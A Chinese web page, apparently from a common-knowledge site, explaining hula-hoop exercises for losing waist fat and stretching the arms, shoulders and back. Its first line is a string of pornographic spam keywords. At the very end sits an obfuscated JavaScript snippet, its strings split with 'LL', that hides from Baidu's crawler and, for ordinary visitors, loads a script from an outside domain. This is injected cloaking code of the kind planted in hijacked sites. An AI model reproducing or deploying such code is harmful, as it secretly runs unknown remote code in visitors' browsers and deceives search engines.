亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 減肥 > 運(yùn)動(dòng)減肥 > 正文

搖呼啦圈應(yīng)該如何減肥

2017-04-22 01:01:01  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):搖呼啦圈是可以減肥的,但是我們要選擇正確的方法,比如我們可以選擇雙腳站立,張開(kāi)的角度跟肩部銅礦,并其我們要順時(shí)針轉(zhuǎn)呼啦圈,調(diào)整自己

搖呼啦圈是可以減肥的,但是我們要選擇正確的方法,比如我們可以選擇雙腳站立,張開(kāi)的角度跟肩部銅礦,并其我們要順時(shí)針轉(zhuǎn)呼啦圈,調(diào)整自己的呼吸去轉(zhuǎn)動(dòng)呼啦圈。搖呼啦圈最好是要有耐心,你們要堅(jiān)持每天晚上都鍛煉,這樣才能夠減掉腰部的贅肉,希望你們可以了解一下?lián)u呼啦圈的減肥方法。

手臂上臂、腰部?jī)蓚?cè)及后背

1、 雙腳站立,與肩同寬,兩臂在身后呈3點(diǎn)和9點(diǎn)位置,握住呼拉圈,使之與身體保持30公分遠(yuǎn)。吸氣挺胸,盡力夾緊肩胛骨

2、 順時(shí)針轉(zhuǎn)動(dòng)呼拉圈,直到左手置于頭部正上方,右手置于臀后。堅(jiān)持10秒鐘,慢慢深呼吸,感到肌肉在拉長(zhǎng)。

3、 回到初始姿勢(shì),逆時(shí)針轉(zhuǎn)動(dòng)呼拉圈,直到右手置于頭部正上方,左手置于臀后。堅(jiān)持10秒鐘,慢慢深呼吸,之后恢復(fù)初始狀態(tài)。

背部、雙臂及肩部

1、 雙腳站立與肩同寬,雙手握住呼拉圈,分別呈10點(diǎn)、2點(diǎn)位置,并將其置于腳前。屈膝、臀部向下坐,到離地大約1米處停住。用呼啦圈支撐身體,如圖向前伸直雙臂,感到雙肩有拉伸感。

2、 繼續(xù)向前拉伸身體,直到腹部貼到大腿,然后盡全力將雙臂向前伸,感到脊柱和背部正在慢慢拉長(zhǎng)。同時(shí)深呼吸,放松頸部,保持頭部朝下。堅(jiān)持10秒后,慢慢直立身體。

對(duì)于這篇文章介紹的搖呼啦圈應(yīng)該如何減肥,相信你們看完這篇文章介紹的內(nèi)容后,你們應(yīng)該都知道怎樣去減肥才能夠成功了吧。搖呼啦圈的減肥效果是比較慢的,但是瘦腰的效果是比較好的,所以你們必須要有耐心去鍛煉呼啦圈。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}